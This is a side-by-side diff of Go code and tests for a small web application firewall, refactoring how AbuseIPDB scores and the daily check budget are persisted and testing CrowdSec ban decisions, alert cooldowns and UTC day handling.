} }
// Load keeps checks, read from reputation.json, in place of those it // Load keeps scores, read from abuseipdb-scores.json, in place of those
// keeps, but for the scores past maxVerdicts, those fetched longest ago. // it keeps, but for the scores past maxVerdicts, those fetched longest
// One fetched CacheTTL ago or more is neither used nor written, as for any // ago. One fetched CacheTTL ago or more is neither used nor written, as
// score. // for any score.
func (a *AbuseIPDB) Load(checks Checks) { func (a *AbuseIPDB) Load(scores []Score) {
scores := slices.Clone(checks.Scores) scores = slices.Clone(scores)
slices.SortStableFunc(scores, func(x, y Score) int { slices.SortStableFunc(scores, func(x, y Score) int {
return x.Fetched.Compare(y.Fetched) return x.Fetched.Compare(y.Fetched)
}) })
@@ -233,7 +231,6 @@ func (a *AbuseIPDB) Load(checks Checks) {
a.mu.Lock() a.mu.Lock()
defer a.mu.Unlock() defer a.mu.Unlock()
a.day, a.spent = checks.Day, checks.Spent
a.scores.Purge() a.scores.Purge()
for _, kept := range scores { for _, kept := range scores {
@@ -241,11 +238,33 @@ func (a *AbuseIPDB) Load(checks Checks) {
} }
} }
// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
// keeps them.
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
a.mu.Lock()
defer a.mu.Unlock()
return ChecksSpent{Day: a.day, Spent: a.spent}
}
// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
// place of the checks spent.
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
a.mu.Lock()
defer a.mu.Unlock()
a.day, a.spent = checks.Day, checks.Spent
}
// check checks client with AbuseIPDB by addr, one of its addresses, keeps // check checks client with AbuseIPDB by addr, one of its addresses, keeps
// the score as client's, and notes the check as no longer under way. A // the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a // check that fails gives no score: it is counted, logged and raised as a
// source_failure alert, and no client is checked for failureDelay. // source_failure alert, and no client is checked for failureDelay.
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) { func (a *AbuseIPDB) check(
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
score, err := a.ask(ctx, addr) score, err := a.ask(ctx, addr)
now := a.params.Now() now := a.params.Now()
@@ -254,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
delete(a.checking, client) delete(a.checking, client)
if err == nil { if err == nil {
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now}) a.scores.Add(
client,
Score{Client: client, Score: score, Fetched: now},
)
} else { } else {
a.failures++ a.failures++
a.retryAt = now.Add(failureDelay) a.retryAt = now.Add(failureDelay)
@@ -270,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
// in the header Key. An answer other than 200, one that gives no score, // in the header Key. An answer other than 200, one that gives no score,
// and none within Timeout, fail. // and none within Timeout, fail.
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) { func (a *AbuseIPDB) ask(
ctx context.Context,
addr netip.Addr,
) (int64, error) {
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout) ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
defer cancel() defer cancel()
@@ -306,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
} `json:"data"` } `json:"data"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer) err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
Decode(&answer)
if err != nil { if err != nil {
return 0, fmt.Errorf("read the answer: %w", err) return 0, fmt.Errorf("read the answer: %w", err)
} }
@@ -324,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
// Raised before it is logged, so that the alert is there once the log // Raised before it is logged, so that the alert is there once the log
// line is. // line is.
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err) raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error()) a.params.ProcessLog.Warn(
reason,
"source",
AbuseIPDBSource,
"error",
err.Error(),
)
} }
+173 -47
View File
@@ -17,6 +17,7 @@ import (
"testing/synctest" "testing/synctest"
"time" "time"
"cloud.google.com/go/civil"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -40,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A client that has committed no offence is not checked. // A client that has committed no offence is not checked.
@@ -59,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
}) })
} }
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) { func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -67,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
// it of its own. // it of its own.
var addresses []string var addresses []string
for i := 1; i < 16; i++ { for i := 1; i < 16; i++ {
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12)) addresses = append(
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
} }
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}} abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{addresses[0]: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A request from each has the client checked once, by the first. // A request from each has the client checked once, by the first.
@@ -95,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100} scores := map[string]int64{
"192.0.2.74": 74,
"192.0.2.75": 75,
"192.0.2.100": 100,
}
p := abuseIPDBParams() p := abuseIPDBParams()
p.MinScore = 75 p.MinScore = 75
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p) checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -116,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
hitFrom(t, checker, suspect, true) hitFrom(t, checker, suspect, true)
@@ -140,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
}) })
} }
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) { func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -151,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
p.DailyBudget = 3 p.DailyBudget = 3
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// At noon, the first three offenders spend the budget, and the // At noon, the first three offenders spend the budget, and the
@@ -172,18 +192,26 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
// The check that used the budget up raised the alert, and logged it. // The check that used the budget up raised the alert, and logged it.
const usedUp = "the daily budget of AbuseIPDB checks is used up" const usedUp = "the daily budget of AbuseIPDB checks is used up"
wantFailureAlert(t, queue, time.Now(), usedUp, wantFailureAlert(
"3 checks spent; none is made until the day ends at 00:00 UTC", 0) t,
queue,
time.Now(),
usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC",
0,
)
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) { if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
t.Errorf("logged\n%s\nwant the budget used up", log.String()) t.Errorf("logged\n%s\nwant the budget used up", log.String())
} }
// Restarted with what reputation.json keeps, it uses the scores, and // Restarted with what abuseipdb-scores.json and
// checks no client until the day ends. // abuseipdb-checks-spent.json keep, it uses the scores, and checks
// no client until the day ends.
restarted := &abuseIPDBStandIn{} restarted := &abuseIPDBStandIn{}
again := newAbuseIPDB(restarted, p) again := newAbuseIPDB(restarted, p)
again.Load(checker.Snapshot()) again.Load(checker.Snapshot())
again.LoadChecksSpent(checker.ChecksSpent())
wantScore(t, again, suspect, true, 100, true) wantScore(t, again, suspect, true, 100, true)
wantBudgetLeft(t, again, 0) wantBudgetLeft(t, again, 0)
@@ -202,7 +230,44 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
}) })
} }
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
ahead := time.FixedZone("UTC+14", 14*60*60)
p := abuseIPDBParams()
p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent.
time.Sleep(9 * time.Hour)
hitFrom(t, checker, suspect, true)
synctest.Wait()
wantBudgetLeft(t, checker, 0)
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
time.Sleep(2 * time.Hour)
wantBudgetLeft(t, checker, 0)
want := civil.Date{Year: 2000, Month: 1, Day: 1}
if day := checker.ChecksSpent().Day; day != want {
t.Errorf("checks spent on %s, want on %s", day, want)
}
// At 00:00 UTC the budget is whole again.
time.Sleep(13 * time.Hour)
wantBudgetLeft(t, checker, 1)
})
}
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -246,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
p.Key = tc.key p.Key = tc.key
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body} abuseIPDB := &abuseIPDBStandIn{
status: tc.status,
body: tc.body,
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// The failure gives no score, and no client is checked within a // The failure gives no score, and no client is checked within a
@@ -265,7 +333,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
wantChecked(t, abuseIPDB, suspect, other) wantChecked(t, abuseIPDB, suspect, other)
wantFailures(t, checker, 2) wantFailures(t, checker, 2)
if scores := checker.Snapshot().Scores; len(scores) != 0 { if scores := checker.Snapshot(); len(scores) != 0 {
t.Errorf("scores %+v, want none", scores) t.Errorf("scores %+v, want none", scores)
} }
@@ -274,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
wantFailureAlert(t, queue, time.Now().Add(-time.Minute), wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
"checking a client with AbuseIPDB failed", tc.error, 1) "checking a client with AbuseIPDB failed", tc.error, 1)
if !strings.Contains(log.String(), `"msg":"checking a client with `+ if !strings.Contains(
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) { log.String(),
`"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -283,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
} }
} }
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) { func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -310,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed", wantFailureAlert(
"check the client: context deadline exceeded", 0) t,
queue,
time.Now(),
"checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded",
0,
)
}) })
} }
@@ -325,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
p := abuseIPDBParams() p := abuseIPDBParams()
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) m.AddReputation(
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one it refuses with an answer // One check that AbuseIPDB answers, and one it refuses with an answer
@@ -337,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
synctest.Wait() synctest.Wait()
wantScore(t, checker, suspect, true, 100, true) wantScore(t, checker, suspect, true, 100, true)
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`) abuseIPDB.answerWith(
http.StatusUnauthorized,
`{"errors":[{"detail":"`+key+`"}]}`,
)
wantScore(t, checker, other, true, 0, false) wantScore(t, checker, other, true, 0, false)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
@@ -362,7 +449,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
for name, shown := range map[string]string{ for name, shown := range map[string]string{
"the log": log.String(), "the alerts": string(alerted), "the log": log.String(), "the alerts": string(alerted),
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept), "the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
} { } {
if strings.Contains(shown, key) { if strings.Contains(shown, key) {
t.Errorf("%s shows the key:\n%s", name, shown) t.Errorf("%s shows the key:\n%s", name, shown)
@@ -380,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
p.DailyBudget = 5 p.DailyBudget = 5
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) m.AddReputation(
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one that fails. // One check that AbuseIPDB answers, and one that fails.
@@ -397,7 +487,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
"failures_total": "1", "failures_total": "1",
"daily_budget_remaining": "3", "daily_budget_remaining": "3",
} { } {
line := "\nsmallwebwaf_reputation_" + series + line := "\nsww_reputation_" + series +
`{instance="app",source="abuseipdb"} ` + want + "\n" `{instance="app",source="abuseipdb"} ` + want + "\n"
if !strings.Contains(scraped, line) { if !strings.Contains(scraped, line) {
t.Errorf("metrics\n%s\nwant%s", scraped, line) t.Errorf("metrics\n%s\nwant%s", scraped, line)
@@ -425,18 +515,20 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
Fetched: now.Add(-cacheTTL), Fetched: now.Add(-cacheTTL),
} }
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}}) checker.Load([]reputation.Score{stale, inUse})
wantScore(t, checker, suspect, false, 100, true) wantScore(t, checker, suspect, false, 100, true)
wantScore(t, checker, other, false, 0, false) wantScore(t, checker, other, false, 0, false)
got := checker.Snapshot().Scores got := checker.Snapshot()
if !reflect.DeepEqual(got, []reputation.Score{inUse}) { if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
t.Errorf("scores %+v, want only %+v", got, inUse) t.Errorf("scores %+v, want only %+v", got, inUse)
} }
} }
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -444,7 +536,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
p.Now = func() time.Time { return now } p.Now = func() time.Time { return now }
checker := reputation.NewAbuseIPDB(p) checker := reputation.NewAbuseIPDB(p)
// 100,001 scores, listed by client, as reputation.json lists them, each // 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
// fetched a millisecond before the one before it: the last is one too // fetched a millisecond before the one before it: the last is one too
// many. // many.
const count = 100001 const count = 100001
@@ -460,12 +552,15 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
addr = addr.Next() addr = addr.Next()
} }
checker.Load(reputation.Checks{Scores: scores}) checker.Load(scores)
got := checker.Snapshot().Scores got := checker.Snapshot()
if len(got) != count-1 || !slices.Contains(got, scores[0]) || if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) { slices.Contains(got, scores[count-1]) {
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got)) t.Errorf(
"%d scores kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
@@ -486,7 +581,9 @@ type abuseIPDBStandIn struct {
// RoundTrip has the stand-in answer req, in place of the network. A check // RoundTrip has the stand-in answer req, in place of the network. A check
// abandoned before the stand-in answers fails, as over the network. // abandoned before the stand-in answers fails, as over the network.
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) { func (s *abuseIPDBStandIn) RoundTrip(
req *http.Request,
) (*http.Response, error) {
client := req.URL.Query().Get("ipAddress") client := req.URL.Query().Get("ipAddress")
sent := req.Header.Get("Key") sent := req.Header.Get("Key")
@@ -506,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
status = http.StatusUnauthorized status = http.StatusUnauthorized
case status == 0: case status == 0:
status = http.StatusOK status = http.StatusOK
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client, body = fmt.Sprintf(
score) `{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
client,
score,
)
} }
return &http.Response{ return &http.Response{
@@ -567,23 +667,36 @@ func newAbuseIPDB(
// wantScore checks the score checker gives client, and whether it is a // wantScore checks the score checker gives client, and whether it is a
// hit, as a request from client finds them, offender or not. // hit, as a request from client finds them, offender or not.
func wantScore( func wantScore(
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool, t *testing.T,
score int64, hit bool, checker *reputation.AbuseIPDB,
client string,
offender bool,
score int64,
hit bool,
) { ) {
t.Helper() t.Helper()
gotScore, gotHit := hitFrom(t, checker, client, offender) gotScore, gotHit := hitFrom(t, checker, client, offender)
if gotScore != score || gotHit != hit { if gotScore != score || gotHit != hit {
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit, t.Errorf(
score, hit) "%s has the score %d, a hit %t, want %d, %t",
client,
gotScore,
gotHit,
score,
hit,
)
} }
} }
// hitFrom is checker's Hit for a request from address, offender or not. // hitFrom is checker's Hit for a request from address, offender or not.
// Its client is address for an IPv4 address, and its /64 for an IPv6 one, // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as smallwebwaf counts clients. // as sww counts clients.
func hitFrom( func hitFrom(
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool, t *testing.T,
checker *reputation.AbuseIPDB,
address string,
offender bool,
) (int64, bool) { ) (int64, bool) {
t.Helper() t.Helper()
@@ -627,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
// the error failure, and that the cooldown has held back held repeats of // the error failure, and that the cooldown has held back held repeats of
// it. // it.
func wantFailureAlert( func wantFailureAlert(
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string, t *testing.T,
queue *alerts.Queue,
raised time.Time,
reason, failure string,
held int64, held int64,
) { ) {
t.Helper() t.Helper()
@@ -637,8 +753,15 @@ func wantFailureAlert(
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason || got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
got[0].Detail["source"] != reputation.AbuseIPDBSource || got[0].Detail["source"] != reputation.AbuseIPDBSource ||
got[0].Detail["error"] != failure || queue.Suppressed() != held { got[0].Detail["error"] != failure || queue.Suppressed() != held {
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ t.Errorf(
"and %d", got, queue.Suppressed(), reason, failure, held) "alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"and %d",
got,
queue.Suppressed(),
reason,
failure,
held,
)
} }
} }
@@ -656,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
t.Helper() t.Helper()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", m.ServeHTTP(
http.NoBody)) scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody),
)
return scraped.Body.String() return scraped.Body.String()
} }
+148 -39
View File
@@ -37,7 +37,9 @@ const (
rangeScope = "Range" rangeScope = "Range"
) )
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) { func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
// A shorter decision on the same address, which is not the one // A shorter decision on the same address, which is not the one
// used. // used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, {
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country. // Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
e.set(func(e *engine) { e.failing = true }) e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond) time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision(t, lists, "198.51.100.7", wantDecision(
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}) t,
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{}) wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(t, lists, suspect, wantDecision(
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual}) t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
}) })
} }
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1) wantEngineFetches(t, e, 1)
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing} added := reputation.Decision{
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) { e.set(func(e *engine) {
e.decisions = append(e.decisions, e.decisions = append(e.decisions,
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
// 198.51.100.130 is held by a decision on its address that ends // 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends // after the one on its netblock, and 192.0.2.20 by one that ends
// before. // before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)}, {
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)}, {"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)}, {
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect, wantDecision(
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing}) t,
wantDecision(t, lists, "198.51.100.130", lists,
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing}) suspect,
wantDecision(t, lists, "192.0.2.20", reputation.Decision{
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing}) Expires: began.Add(4 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
}) })
} }
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) { func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
} }
wantEngineFetches(t, e, 3) wantEngineFetches(t, e, 3)
wantDecision(t, lists, suspect, wantDecision(
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF}) t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { got := lists.Snapshot()
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if lists.Failures(decisionsURL) != 2 { if n := lists.Failures(decisionsURL); n != 2 {
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL)) t.Errorf("%d failures, want 2", n)
} }
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
wantAlert(t, queue, failed := time.Now().Add(-time.Minute)
